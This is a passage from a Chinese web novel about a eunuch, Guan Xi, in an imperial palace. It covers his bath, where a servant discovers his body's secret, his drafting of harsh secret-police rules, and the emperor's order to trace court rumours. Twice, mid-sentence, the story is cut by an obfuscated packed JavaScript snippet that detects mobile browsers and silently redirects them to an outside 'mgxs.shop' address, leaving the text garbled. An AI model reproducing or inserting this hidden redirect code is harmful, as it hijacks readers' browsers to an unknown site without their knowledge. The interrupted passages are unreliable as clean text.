关禧颔首,不再多言,转身朝着自己院落的方向走去。 深冬的夜风更冷了,吹在身上,激得他一个寒颤。方才在殿内看似平静,实则后背也早已被冷汗浸透。那番应对,无异于在悬崖边上走了一遭。 但值得。 72.第 73 章 院内那株老槐树光秃秃的枝桠在夜色中张牙舞爪,衬得檐下几盏气死风灯的光晕格外孤清。 正房书房窗纸透出暖黄的光,是双喜留的灯。 关禧径直走向西厢浴堂方向。按照习惯,这个时辰,该沐浴了,洗去一身疲惫,也洗去方才沾染的帝王阴郁。 浴堂的门虚掩着,推开门,一股温热湿润的水汽夹杂着淡淡的药香扑面而来,驱散了周身寒意。室内暖意融融,四角都点了灯,光线柔和。正中是一个不算大但足够深的白石砌成的浴池,此刻池水微漾,泛着氤氲热气,水面上还飘着几片安神的柏叶和宁神的干菊花。 双喜正背对着门口,小心翼翼地将一个黑漆食盒放在池边的矮几上。听到开门声,他转身,脸上露出恭顺的笑容:“督主回来了。水刚兑好,温度正好。小的估摸着您快回了,一直看着火呢。” 关禧“嗯”了一声,目光扫过矮几上的食盒。食盒打开着,里面只放着一只青瓷盖碗,碗口热气袅袅,散发出一股略带甘苦的药草气息。 培元固本汤。 他眼神几不可察地沉了沉。 这名字,这气味,早已深入骨髓。 当初在承华宫,冯昭仪让张太医亲手调配,每日一碗,雷打不动。那时楚玉端来,眼神平静,只说是娘娘体恤,为他调理亏虚的身子。他彼时懵懂,又痛楚缠身,只知是药便喝。 后来渐渐明白,这培元固本,培的是伺候人的元,固的是攀附君恩的本。冯媛的目的,赤裸裸不加掩饰,将他调教成一件从内到外都适宜呈于御前的精致礼物,一具能在龙床上发挥作用的容器。 讽刺的是,他确实因这汤药,熬过了最虚弱的那段日子,甚至觉得精神气力比刚穿来时那副破败身子骨强健了不少。 如今时移世易,他爬是爬了,却非冯媛期望的龙床,而是御座之侧,刀锋之上的险峻之地。但这每月去太医院领药的惯例,竟像某种顽固的惯性,或者说,是他刻意保留的一点与承华宫那段晦暗过往的隐秘联结?亦或是一种连自己都未完全厘清对身体本钱下意识的维护? 毕竟在这吃人的地方,一副强健的体魄,总是多一分活命的资本。 双喜察言观色,见他目光落在药碗上,忙端起盖碗,双手奉上:“督主,汤药温度刚好,趁热用了吧。”声音里透着十二分的殷勤。 关禧伸手接过。青瓷碗壁温热,药气蒸腾。他垂眸看着碗中深褐色晃动的药汁,想起冯媛那张温婉含笑却深不见底的脸,想起御花园假山楚玉冰冷手指的触碰,也想起今夜萧衍醉酒后那张写满暴戾的年轻面孔。 这宫廷里,哪有什么纯粹的好意?不过是各取所需,层层算计。冯媛想送他上龙床固宠,皇帝想用他做一把孤绝的刀,而他……只想在这重重算计的夹缝里,攥住一点属于自己的生机。 他扯了扯嘴角,一个没什么温度的笑。然后仰头,将碗中药汁一饮而尽。药味辛甘微苦,滑过喉咙,带来一股温热的暖流,迅速向四肢百骸扩散,确实让人精神一振。 将空碗递还给双喜,关禧解开发髻,鸦黑的长发披散下来,垂落肩背。 然后,开始褪去衣物,动作不疾不徐。 先是最外层的玄色夹棉长袍,接着是贴身的素白里衣。衣物一件件剥离,叠放在一旁的檀木架子上。随着最后一件里衣滑落肩头,一具年轻男子的身体暴露在氤氲水汽与昏黄灯光交织的光晕里。 不再是当初承华宫西厢房里那个苍白单薄,伤痕累累的少年。经年累月的汤药调理,加之刻意的饮食控制和私下里不曾间断模仿记忆中现代体能训练方式的活动,如今这副躯体,已然脱胎换骨。 肩背的线条流畅而隐含力度,胸膛虽不似武夫那般虬结夸张,却肌理分明,紧实匀称。腰腹劲瘦,没有一丝赘肉,两侧的人鱼线清晰没入下腹。手臂和腿部的线条修长有力,皮肤是久不见烈日的冷白,在水汽浸润下,泛着玉质般温润细腻的光泽,又因底层覆盖着薄而韧的肌肉,有种蓄势待发的精悍。 双喜立刻低下头,将药碗收回食盒放好,然后快步走到浴池另一侧,将备好的干净中衣,布巾,澡豆等物一一摆放整齐,全程眼观鼻鼻观心,不敢乱瞟。他深知这位主子如今虽看似温和,实则心思深重,手段莫测,御前行走,内官监掌印太监,提督内缉事厂,哪一重身份都足够让人敬畏。 衣物褪去,叠放在一旁的矮凳上。关禧赤足踏上微凉的石阶,一步步走入温热的池水中。水波荡漾,轻柔地包裹上来,驱散最后一丝寒意,也让紧绷的肌肉缓缓松弛。 双喜候在池边稍远些的位置,垂手侍立,准备随时听候吩咐。眼角的余光,不可避免地掠过了池中那道身影。 氤氲的水汽模糊了细节,却更勾勒出清晰的轮廓。 宽肩,窄腰,薄肌,冷白皮。 完美,挺拔,匀称。 最引人注目的,是水面之下,水波荡漾间,隐约可见那本该被一刀斩去的根苗,竟并非如寻常净身太监那般空荡平滑,而是……而是…… 双喜的眼角余光定住了。 他像是被一道无形的冰锥骤然刺穿天灵盖,从头顶一路冻僵到脚底,连呼吸都在瞬间停滞。 怎么可能?! 他是内务府派办处出来的,见过太多刚从蚕室抬出来的半死人,他当然知道净身是怎么回事,那地方,该是彻底平整的,只留一道丑陋的疤痕和一个小便的细口。像他双喜自己,便是如此,那一刀下去,连同子孙袋在内,干干净净,再无半点余物。 可关禧那里……那水波下隐约的轮廓,沉浮的阴影,分明昭示着,那东西……还在,或许并不完整,或许曾受创伤,但绝没有被彻底切除。 这发现带来的惊骇,远比今夜目睹皇帝震怒,关禧被急召更甚。这违背了双喜对宫廷规则最基本的认知。 宫里太监是彻底净身,为了断绝秽乱宫闱的可能,需行去势之礼,那象征男性的物件是必须摘除的。 这是铁律。 除非…… 一个极隐秘的传闻,倏地窜入双喜脑海。他听派办处一些积年的老太监醉后含糊提过,说王元宝王公公替皇家办事,极懂得揣摩上意。有些特别挑选的孩子,因着相貌实在出众,又或某些贵人早早打了招呼,会在净身时……留那么一点点余地。当然不是全须全尾,只是不如寻常太监那般切得干净,保留了部分形貌。这样的孩子,未来若是走运,或许能有更大的用处,譬如……在陛下有特殊兴致时,能比寻常太监多些意趣。 这传闻太过惊世骇俗,双喜一直只当是醉汉的胡吣。可眼下…… 关禧……难道就是这样的特例? 当初王元宝亲自将他从净身房挑出,啧啧称赞“好相貌”,直接拨去了最清贵的承华宫书斋,冯昭仪娘娘对他那般悉心调理,赐下培元固本的汤药,陛下破格提拔,甚至不顾祖制带他上朝,设立内缉事厂交于他手。 一桩桩,一件件,原本模糊的线索,此刻在这惊骇的发现面前,被一条无形的线骤然串联起来,指向一个令人不寒而栗的可能。 关禧,从一开始,就不是普通的太监。他是被王元宝精心挑选,或许连净身都留有特殊余地的备选,是冯昭仪意图进献给陛下的一件更别致的礼物,是陛下眼中……或许兼具了内侍便利与某种特殊玩赏价值的尤物? 双喜浑身控制不住地发起抖来,脸色惨白。他死死掐住自己的掌心,指甲深陷进肉里,用疼痛强迫自己低下头,目光死死钉在脚前三寸的地砖缝隙上,再不敢往池中瞥去半分。 他知道自己窥见了一个天大的秘密。一个足以让他立刻无声无息消失在这深宫里的秘密。 水声轻响,关禧掬起一捧热水,浇在肩颈处,水流顺着紧实的背肌沟壑滑下,没入水中。 蒸腾的热气模糊了他脸上的表情,他当然感觉到了身后那道骤然凝滞,又慌忙躲闪的视线。 更感觉到了那双喜几乎无法抑制的颤抖。 关禧心中冷笑。 看见了?也好。 这具身体的秘密,他从未刻意遮掩,也遮掩不住。当初在承华宫,楚玉教导他时,那复杂的眼神,冯昭仪赐下培元固本汤时,那意味深长的叮嘱,甚至皇帝偶尔落在他身上,那种评估玩物般逡巡的目光……他早已心知肚明。 他不是完整的男人,却也非彻底的阉人。他是这扭曲宫廷规则下,一个被刻意制造出来介于两者之间的畸形存在。是某些人手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124258|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中用以讨好君王的特殊筹码,是皇帝眼中或许比寻常太监更多一分意趣的消遣,更是他自己必须日夜面对,无法摆脱的屈辱烙印。 双喜的惊骇,不过是再次印证了这一点。 也好。让这小太监知道怕,知道敬畏,知道什么该看,什么该烂在肚子里。在这步步惊心的深宫,有时,恐惧比忠诚更能让人管住嘴。 关禧缓缓从水中站起。 水珠顺着流畅的肌理滚滚而落,在灯光下折射出细碎的光。他迈步踏上池边石阶,带起一片哗啦水响。 双喜立马扑过去,抓起宽大柔软的棉布浴巾,双手高举过头,不敢抬眼,只颤声道:“督、督主……” 关禧接过浴巾,慢条斯理地擦拭着身上的水渍,动作不疾不徐,仿佛刚才什么也没发生。他瞥了一眼抖得如风中落叶的双喜,淡淡道:“更衣。” “是、是!”双喜连忙捧来洁净的月白色细棉中衣和深青色常服,手指哆嗦着,伺候关禧穿上。过程中,他极力避免触碰到关禧的身体,眼神始终低垂,额角冷汗涔涔。 关禧系好腰间衣带,走到镜前。 镜中人已擦干长发,随意披在肩后,脸色被热水蒸出些许红晕,眉眼间是一片沉静如水,那身深青常服遮掩了所有肌骨轮廓,只余下清瘦挺拔的身形。 他对着镜子,抬手,将微湿的鬓发捋到耳后。这个动作让他袖口下滑,露出一截劲瘦的小臂。 “双喜。”他忽然开口。 双喜浑身一僵,噗通跪下:“奴、奴才在!” “在这宫里,看得太多,想得太多,都不是什么好事。有时候,眼睛看见了,就当没看见;心里猜到了,就当不知道。这样才能活得长久些。你是个聪明人,应该明白我的意思。” “奴才明白!奴才今夜什么都没看见!奴才什么都不知道!督主明鉴!” “收拾干净,下去吧。”关禧挥了挥手,不再看他,径直转身,推开浴堂的门,走进了外面寒冷的夜色中。 冷风一激,方才被热水蒸腾出的些微松弛散去。他脚步未停,穿过寂静的庭院,回到了正房书房。 屋内,炭火将熄未熄,双喜之前留的灯还亮着,光线昏黄。关禧走到书案后坐下,就着窗外透进的微弱廊灯光芒,静坐了片刻。 身体的秘密被双喜窥破,虽在意料之中,却也让他心底那根刺扎得更深了些。这具残缺又未全残的躯体,是他的原罪,也是他被选中的缘由,更是悬在他头顶,不知何时会落下的利剑。 皇帝今日醉酒后的失控,太后日益收紧的掌控,司礼监虎视眈眈的敌意,还有冯昭仪那从未真正放手的牵扯……所有的一切,都如这冬夜寒风,从四面八方挤压而来。 而他手中的内缉事厂,这刚刚挂上牌子的衙门,是他唯一的盾,也是他必须磨砺锋利的剑。 他伸手,点亮了书案上的油灯。 明亮的光线驱散了角落的黑暗,也映亮了他沉静无波的脸。他铺开一张新的宣纸,提起笔。 笔尖悬停片刻,落下时,是几个看似毫无关联的人名,地名,事件碎片: 王元宝(内务府派办处) 春杏(永寿宫控制中) 徐宛白私章票根(已呈御前) 郑保(司礼监秉笔) 北苑杂役处(赵石头) 惜薪司炭厂(赵石头曾服役) 墨迹在纸上缓缓洇开,像一张逐渐清晰的网。 关禧的目光落在“王元宝”三个字上,眼神幽深。 这个当初将他挑出来的老太监,是否知道更多内情?冯昭仪与王元宝之间,又有怎样的联系? 还有赵石头……那个在北苑做着苦役的同乡。他当初被分到惜薪司炭厂,那里是宫内最底层,最肮脏劳累之处,也是消息最为芜杂流通之地。一个瘦弱胆小的孩子,在那里熬了几个月,病了一场,然后被调去北苑……这中间,是否有人为的痕迹?是否……也曾看到或听到过什么? 内缉事厂需要眼睛,需要耳朵,更需要能深入最污浊角落,挖出隐秘线索的触手。 或许,该抽空去见见这位故人了。 不是以关禧的身份,而是以提督内缉事厂的名义。 73.第 74 章 窗外的风声更紧了,吹得窗棂格格作响,像是在预示着一场更大的风雪即将来临。 屋里,炭盆烧得旺旺的,案头那盏琉璃罩灯也捻到了最亮。 书案上,那本厚重的《永昌会典》压着他匆忙藏起的草稿。旁边,是双喜后来找来的那几大摞《宫中则例》,《内监规条》和案例汇编。 关禧望着跳跃的灯焰,指尖在光滑的紫檀木桌面上叩击。 立规矩? 这宫中盘根错节的规矩,早已渗透到每一块砖石,每一口呼吸里。二十四衙门,各司其职,从司礼监批红掌印,到内官监采办营造,从御马监掌理马政,到惜薪司供应柴炭……条条框框,交织成一张密不透风的巨网。 他这内缉事厂,看似是新设,权柄特殊,实则无一处不在旧网的笼罩与窥视之下。他的规矩,若只是旧例翻版,毫无新意,皇帝要他何用?若过于标新立异,触及太多既有利益,恐怕未等厂牌挂稳,便会被撕得粉碎。 他要的规矩,必须锋利,像一把能切开旧网缝隙的薄刃,必须隐秘,如水银泻地,无孔不入却难以捉摸,更必须绝对,对皇帝的绝对服从,对厂内控制的绝对严密。 重新铺开一张大幅的宣纸,狼毫在端砚中饱蘸浓墨。 首先,是架构。皇帝拨给他二十八人,只是起点。他参照脑中模糊的锦衣卫,东厂印象,结合宫廷实际,开始勾勒:提督太监一人,下设掌班,领班,司房若干。掌班统带具体侦缉人员,领班分管不同区域或专项事务,司房则负责文书,档案,钱粮及刑讯。结构务必扁平,层级减少,确保命令能最快速度直达执行者,情报也能最直接地反馈到他这里。 其次,是职责与权限。他写得极其谨慎,又暗藏机锋。 “侦缉宫内二十四衙门并皇城各门禁、库房、杂役等处作奸犯科、违禁悖逆、怠惰失职等情”,这是明面上的。 “访查京师内外关乎宫禁、朝政、勋贵、重臣之流言蜚语、异动迹象,辨其真伪,密报上闻”,这便将触角巧妙地延伸出了宫墙。 “奉特旨,协查外朝相关案件,有权询问相关人员,调阅非核心机密文书”,这是皇帝赋予的尚方宝剑,也是最大的风险点。 他特意注明协查与调阅非核心,既是限制,也是一种以退为进的自我保护。 然后,是运作流程与保密条例。这是重中之重。他设计了一套复杂的密语系统,信件传递的隐匿方法,线人接头的暗号与地点轮换规则。规定所有侦缉所得,无论巨细,必须形成书面记录,由经办人画押,经掌班,司房核实,直呈于他。严禁私下传递消息,严禁与侦缉对象有任何非公务接触,严禁泄露厂内任何事务,违者视情节轻重,处以杖刑,囚禁,发配苦役,乃至秘密处决,累及家人。 他写下了“秘密处决”四个字,笔锋冷硬。在这个地方,没有比死亡更有效的震慑。 接着,是人员管控与奖惩。他制定了严格的考绩制度,不仅看侦缉成果,更看重忠诚与保密。 设立密功簿,对有功者,他有权直接提请皇帝赏赐金银,提升品阶,甚至荫及家人,这是胡萝卜。 至于大棒……厂规的惩处条款写得比宫规严苛十倍。他特别加了一条:“凡有身负异心、勾结外官、泄露机密、抗命不尊者,提督有权先行处置,再行禀奏。”这是赋予自己极大的临机决断权,也是将所有人牢牢绑在他的战车上,要么听话,要么死。 他还草拟了训练大纲。这些太监大多来自底层,或许有点小聪明,但缺乏专业训练。他计划请调少数可靠的退役军中教习,教授基本的盯梢,反盯梢,乔装,暗记,刑讯技巧,甚至包括一些强身健体的拳脚。他要的不仅仅是一群探听消息的耳朵,更是一支能执行特殊任务半军事化的秘密力量。 窗外的天色,由浓墨般的漆黑,渐渐转为深蓝,继而透出些许鸭蛋青的熹微。更漏早已滴尽,炭盆里的银骨炭也化作了灰白的余烬,只剩一点暗红苟延残喘。 关禧放下笔,活动了一下僵硬的手腕和脖颈。指尖被冻得发麻,眼睛因长时间凝视跳跃的灯焰和细密文字而布满血丝,干涩发痛。他面前,厚厚一沓写满字的宣纸,墨迹已干,字字如钉。 这不仅仅是规矩,这是一份宣言,一份向旧秩序悄然亮出的刀锋,也是他为自己在这个世界搭建的第一个,或许也是唯一一个立足的堡垒。 他揉了揉眉心,仔细整理草稿,用镇纸压好,又从书案抽屉深处,取出一个锦盒。打开,里面是一套崭新的绯色蟒袍和提督纱帽,与昨日孙得禄送来那套一模一样,这是按例备下的换洗衣物。 他起身,褪下身上的深青常服,换上了这套绯红。 天色渐亮,晨光透过窗棂,洒入书房。那身绯红在朦胧的光线中,不再如昨日初次上身时那般刺目灼眼,蟒纹在晨光下流转着幽暗的光泽。 双喜轻手轻脚地进来,看到已经穿戴整齐的关禧,连忙低下头:“督主,时辰差不多了。何掌班他们已经在旧库房那边候着了。” 关禧“嗯”了一声,声音略显沙哑:“更衣毕,去旧库房。” 他让双喜倒了杯浓茶,一饮而尽。液体划过喉咙,带来短暂的清明。 推开院门,晨风凛冽。 他大步走向东安门北,绯红的袍角在渐亮的晨光中划开一道凌厉的弧线。 旧库房前,那块内缉事厂的木牌在晨风中肃立。二十八名太监已按照何璋的指挥,在门前空地上列成了并不算整齐的三排。他们穿着各色旧袍,看到那团绯红身影由远及近,所有人下意识地挺直了背脊,低垂下头。 何璋快步迎上,躬身:“督主,人都齐了。” 关禧在队伍前方站定,目光缓缓扫过。一张张或年轻或老成的面孔,这些人里,有各方眼线,有混日子的老油条,也有或许真想搏个出身的底层杂役。 他没有废话,直接开始了训话。 “昨夜,本督拟了些东西。”他扬了扬手中那沓纸页,“是内缉事厂立足、办事、活命的根本。” “你们或许觉得,来了这里,不过是换了个地方当差,或许油水多些,或许风险大些。” “错了。” “从踏进这道门,领了厂里的腰牌起,你们的命,就不再是你们自己的,也不属于你们原来的主子。它属于陛下,属于内缉事厂,属于本督定下的规矩。” 他开始一条条宣读那些熬了一夜写就的条款。从架构职责,到保密条例,从运作流程,到奖惩制度。他没有刻意加重语气,只是平铺直叙,但每一条背后隐含的严酷,却让在场所有太监的脸色越来越白,呼吸越来越轻。 当读到秘密处决和提督有权先行处置时,队伍中明显传来几声压抑的抽气。 “……侦缉之权,如履薄冰;保密之责,重于泰山。有功,厂里不吝重赏,陛下面前,本督亦会为你们请功。有过……”关禧合上纸页,目光再次扫过全场,最后定格在何璋脸上,“何掌班。” “奴才在!” “这些规矩,抄录成册,人手一份。三日内,背熟,记牢。三日后考核,错一条,杖五;错五条以上,革职查办,视同泄密未遂论处。” “是!”何璋头皮发麻,连忙应下。 “从今日起,所有人按初步划定的职司开始熟悉。何璋,你带人,先将宫内地形、各衙门位置、主要管事人员名录整理出来,要快,要准。” “其余人,两人一组,在何璋划定的区域内,先进行最基本的观察记录练习。每日辰时、午时、酉时,宫道、各门人流情况;各衙门物资进出大致频率;有无明显异常动静。不需你们深入,只需看,记,报。记录务必详实,不得臆测。” 他这是要用最笨也最稳妥的方法,先让这些人动起来,熟悉环境,同时也在观察中初步筛选可用之人。 “记住你们的身份,内缉事厂番役。腰牌就是你们的胆,规矩就是你们的魂。多看,多听,少说,不动。”关禧最后强调,“散了吧。何璋,随本督来。” 人群散开,各自去领受新任务。 关禧带着何璋走进已经布置出雏形的值房,将手中那沓原稿递给他:“这是底稿,即刻安排可靠人手抄录。另外,将厂内所需一应物品,包括笔墨纸砚、暗记工具、简易乔装衣物、以及必要的防身短械,列出详单,稍后本督一并呈报陛下御批。” “是,提督。”何璋双手接过,只觉得这沓纸重若千钧。 关禧不再多言,转身走出旧库房。 晨光已然大亮,映照着宫墙积雪,泛着冷冽的白光。他需要立刻去见皇帝。规矩立了,架子搭了,可这一切,都必须得到那把龙椅上的人最终首肯,才能算数。而且,他需要从皇帝那里,拿到更多实质性的支持,人手,经费,权限,应对即将扑面而来的明枪暗箭的底气。 他整了整绯红蟒袍的衣领,深吸一口凛冽的寒气,迈步朝着乾元殿方向走去。 身影在雪后初霁的晨光中,红得夺目,也孤得决绝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128162|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乾元殿的飞檐在望,殿前广场的积雪已被宫人扫出几条灰黑的道路。关禧放慢了脚步,调整呼吸,将一夜未眠的疲惫和方才训话时的冷厉尽数压人眼底深处,只余下御前该有的恭谨。 殿外当值的侍卫和太监远远看见那团绯红,神色各异,都迅速垂下眼帘,躬身退让。孙得禄已候在阶前,见他来了,脸上挤出一个紧绷的笑容,快步迎上,低声道:“提督来了。陛下刚起,正在用早膳,心情瞧着比昨夜好些了。” “有劳孙公公告知。”关禧微微颔首,心下明了,昨夜一场大醉,一场宣泄,今晨皇帝需要维持常态,至少表面如此。 “陛下吩咐了,提督到了,直接进去便是。” 关禧谢过,迈步登上汉白玉台阶。靴底踏过清扫过的石面,发出清晰的声响,在这过分安静的清晨显得格外突兀。 进入殿内,暖意与熟悉的龙涎香气息包裹上来。萧衍正坐在东暖阁的临窗炕桌旁,面前摆着几样清淡小菜和一碗碧粳米粥。他穿着常服,脸色有些宿醉后的苍白,眼下淡青未褪。 关禧走到暖阁中央,撩袍跪下:“奴才关禧,叩见陛下。” “起来吧。”萧衍咽下食物,放下象牙箸,拿起雪白的布巾拭了拭嘴角,目光这才落到关禧身上,在那身崭新的绯红蟒袍上停留了一瞬,“规制都定下了?” “回陛下,奴才昨夜拟了初稿,今晨已宣于厂役知晓。”关禧起身,垂手答道,从袖中取出那份誉录工整的章程摘要,双手奉上,“具体条陈在此,请陛下御览。” 萧衍接过,指尖在纸页边缘摩挲着,语气听不出喜怒:“动作倒快。说说看,你这厂子,打算如何为朕分忧?” 关禧心知这是考校,亦是定调的机会。他略一沉吟,声音平稳:“陛下,内缉事厂初立,百事待举。奴才以为,当先固根本,再图效用。” “首要在于人。现有人手混杂,需以严规整肃,汰弱留强,并请陛下恩准,从内书堂择选略通文理、身家相对清白者补充,亦需招募少数精于技击、追踪之退役军士,充任教习。其次在于器,侦缉所需之特殊笔墨、暗记工具、乔装衣物、乃至短程传信鸽犬,皆需采办。再次在于耳目布设,宫内各司、各门、各库,乃至官外几处紧要关节,需尽快埋下暗桩,不求一时之功,但求消息畅通。” “至于效用,奴才斗胆,请陛下示下,当前最需厘清之事为何?厂卫当以此为刃,先试锋芒。” 他没有空谈抱负,而是将困难,需求,步骤条分缕析,最后将指向的权杖交回皇帝手中。既展现了务实与谋划,又表明了绝对服从的姿态。 萧衍静静听着,手指在炕桌边缘敲击。 “人,朕可以给你。内书堂那边,朕会让孙得禄去挑。退役军士……朕记得五军营去年汰换下一批老卒,其中或有可用之人,让兵部列个单子。器具用度,按你所请,从内帑支取,不走工部与内官监的账,朕会另拨一笔密金与你。布设耳目……朕准了,但务必谨慎,宁可慢,不可错。” 关禧心中一定,立刻躬身:“谢陛下!” “至于试刃之处……”萧衍嘴角勾起一丝冰冷的弧度,“昨夜朕与太后争执,想必此刻已传得沸沸扬扬。你去查查,这话头最初是从哪个宫,哪个人嘴里漏出去的。还有,近日宫中关于朕子嗣艰难、宠幸阉宦的流言,源头在哪儿。朕倒要看看,是谁的耳朵那么长,嘴巴那么碎。” 这任务,直指永寿宫,也触及皇帝最敏感的逆鳞。更是对内缉事厂能力和忠诚的第一次真正考验,能否在太后与皇帝的夹缝中,挖出皇帝想要的东西,同时不引火烧身? “奴才领旨。必当全力彻查,厘清首尾,密奏陛下。” “很好。”萧衍翻开手中那份章程,快速浏览起来。越看,他眼中那点的兴味越浓。条陈写得详尽周密,架构清晰,权责分明,保密与惩处条例之严苛,甚至超出了他的预期。尤其最后关于密功簿与先行处置权的条款,简直是将生杀予夺的部分权柄,明晃晃地交到了这个小太监手中。 胆大,心细,且懂得要权。 萧衍合上章程,抬眼看向关禧:“章程联准了。就按这个办。朕给你十日,十日后,朕要看到关于流言源头的密报。办得好,朕不吝赏赐;办不好……”他语气转淡,“你这身袍子,就该换下来了。” “奴才明白。定不负陛下所托。”关禧深深叩首。 “去吧。”萧衍挥挥手,重新拿起粥碗,仿佛刚才谈论的只是今日天气。 74.第 75 章 关禧退出暖阁,直到走出乾元殿,被冬日的冷风一激,才发觉掌心竟已沁出一层薄汗。皇帝的态度比预想中更支持,任务也比预想中更凶险。查流言源头,看似是宫内稽查,实则必然牵涉后宫势力,尤其是永寿宫。这是逼他亮出爪牙,也是将他彻底推向太后对立面的阳谋。 他径直走向东安门北的旧库房。时间紧迫,他必须立刻行动起来。 厂内已是一派忙碌景象。何璋正指挥着几个人在档房内整理刚领来的空白册页和笔墨,见关禧回来,连忙迎上。 关禧将他叫到值房,关上门,压低声音:“陛下有旨,十日内,需查清近日宫中关于圣体与……陛下私德流言的源头。你立刻去办几件事。” 何璋神色一凛:“督主吩咐。” “第一,将我们现有二十八人,按入宫年限、原属衙门、人际关系,尽快摸清底细,分出三六九等。可疑者,暂时安排无关紧要的差事,加以监视。略可信、或急于出头者,挑出来,我有用。” “第二,你去寻孙得禄孙公公,私下请他帮忙,将永寿宫、玉芙宫、承华宫,以及司礼监这几处近日出人宫禁的记录,尤其是低级官人、采买、杂役的出人情况,悄悄抄录一份。记住,要私下,不可惊动任何人。” “第三,”关禧目光锐利,“找两个最机灵、最不起眼、嘴巴最紧的,稍加训练,从明日起,分别盯着永寿官后角门和浣衣局通往各宫的必经之路,只记录频繁出人或行迹可疑的低等宫人,不要跟梢,不要打听。” 何璋听得心头怦怦直跳,知道这是要动真格了,且直指宫中最敏感的几处。他强自镇定,应道:“是,提憯。奴才这就去办。” “记住,”关禧盯着他,“此事机密,若有半点泄露,你我皆是万劫不复。办好这件事,你便是内缉事厂第一个有功之人,本督绝不亏待。” 胡萝卜加大棒,恩威并施。何璋背脊生寒,又隐隐生出一丝火热的期冀,重重点头:“督主放心,奴才晓得轻重!” 何璋领命而去。关禧独自坐在值房内,望着窗外荒寂的院落和远处高耸的宫墙。 流言如水,无孔不入。皇帝要他查源头,是要揪出背后推波助澜之手,也是要借他这把新刀,斩断某些人伸得太长的触角。永寿宫自然是首要怀疑对象,但徐昭容的玉芙宫,乃至皇后官中,其他嫔妃处,甚至司礼监内部,都有可能。 他不能像没头苍蝇般乱撞。皇帝给了十日,他必须用这十日,让内缉事厂真正动起来,哪怕只是雏形,也要展现出足以令皇帝继续投资的价值。 第一步,是梳理内部,建立初步的信任链条和情报传递网。第二步,是利用孙得禄这条线,拿到官面记录,缩小范围。第三步,是通过最原始的盯梢,捕捉异常动向。三者结合,或许能摸到一些脉络。但这还不够。他需要一个突破口,一个能迅速取得战果,向皇帝证明能力的切入点。 或许,可以从那些最爱嚼舌根,消息最灵通,也最容易被收买或恐吓的底层宫人人手?比如……各宫负责浆洗、洒扫的粗使宫女太监?比如,常在各宫之间传递物品,跑腿的小火者? 他眼中光芒微闪。 * 接下来的几日。 白日里,何璋带着人分头忙碌,记录宫道人流,整理各司名录,一切按部就班,甚至有些枯燥。但到了夜里,值房内灯火常明,关禧与初步筛选出的几个略可信之人,进行着更隐秘的谈话。 孙得禄那边果然帮了忙,几份看似寻常的宫禁出入记录被悄悄送来。关禧与何璋连夜核对,从中圈出了十几个在流言兴起前后,频繁往来于永寿宫,玉芙宫与其他宫苑之间的低等宫人名字。 同时,盯梢的人也报回了消息:永寿官一个负责浆洗的婆子,近日与玉芙宫一个小宫女在御花园偏僻处偶遇过两次,司礼监一个负责跑腿送文书的小太监,曾绕道北苑,与一个浣衣局的罪奴短暂接触。 线索零碎,像散落一地的珠子。 关禧将它们一一记在脑中,试图拼凑出可能的图案。然而,进展缓慢。这些底层宫人即使知道些什么也必然守口如瓶,或者所知有限。 第七日,距离皇帝给的期限只剩三日。 旧库房的值房内,空气沉滞得能拧出水来。炭火明明烧得正旺,关禧却觉得一股寒气从脚底直往上蹿,缠在心口,越收越紧。案头摊着的,是何璋连日汇总来的名录,记录,盯梢摘要,墨字密密麻麻,像一团纠缠的乱麻,看得人眼睛发涩,心头起火。 永寿宫浆洗婆子,玉芙宫小宫女,司礼监跑腿太监,浣衣局罪奴……十几个名字在纸上跳动,每一个都像在嘲笑他的无能。 他闭了闭眼,指尖用力按压着突突直跳的太阳穴。三日,只剩三日。皇帝要的不仅是结果,更是他这把新刀是否锋利的证明。可他现在连从哪里下刀都找不到。 一股暴戾的冲动在胸腔里冲撞。 抓起来。一个个抓起来。撬开他们的嘴,用鞭子,用烙铁,用这内缉事厂无需经过刑部便能动用的私刑。总有人会开口,总有人扛不住。非常之时,行非常之事……这不就是他设立内缉事厂的初衷之一么? 皇权特许,先斩后奏! 这念头带着毒蛇般的诱惑,丝丝吐信。 但他硬生生按住了。指甲深深嵌进掌心,留下几个月牙形的白痕。 不能。至少现在不能。 打草惊蛇,后果难料。永寿宫那位正等着他犯错,司礼监的眼睛从未离开过他。一旦他动刑逼供,无论是否拿到真凭实据,立刻就会落下阉宦酷烈,滥用私刑,搅乱宫闱的口实。届时,不需要太后亲自出手,言官的折子就能把他淹死,皇帝……未必会保他。 他现在确实能在宫里横着走了,见官大一级,内官监掌印太监的腰牌就是通行证。但他更清楚,这横着走的底气,完全系于皇帝一人。皇帝要他做的是藏在暗处的刀,不是明面上张牙舞爪,惹来众怒的靶子。 焦躁像火,烧灼着五脏六腑。 第八日,午后。 简单的午膳摆在桌上,一碗白饭,一荤一素,早已凉透,油花凝成了白色。关禧食不知味,机械地扒拉着饭粒。 值房门被推开一条缝,何璋侧身闪了进来,他走近几步,压低了嗓子:“督主,眼看……就剩两日了。” 关禧抬了抬眼皮,没说话。 何璋舔了舔有些干裂的嘴唇,声音压得更低,“其实……陛下要的,无非是个结果。这流言蜚语,宫里哪天没有?真要刨根问底,牵扯必广,怕是……难有尽头。” 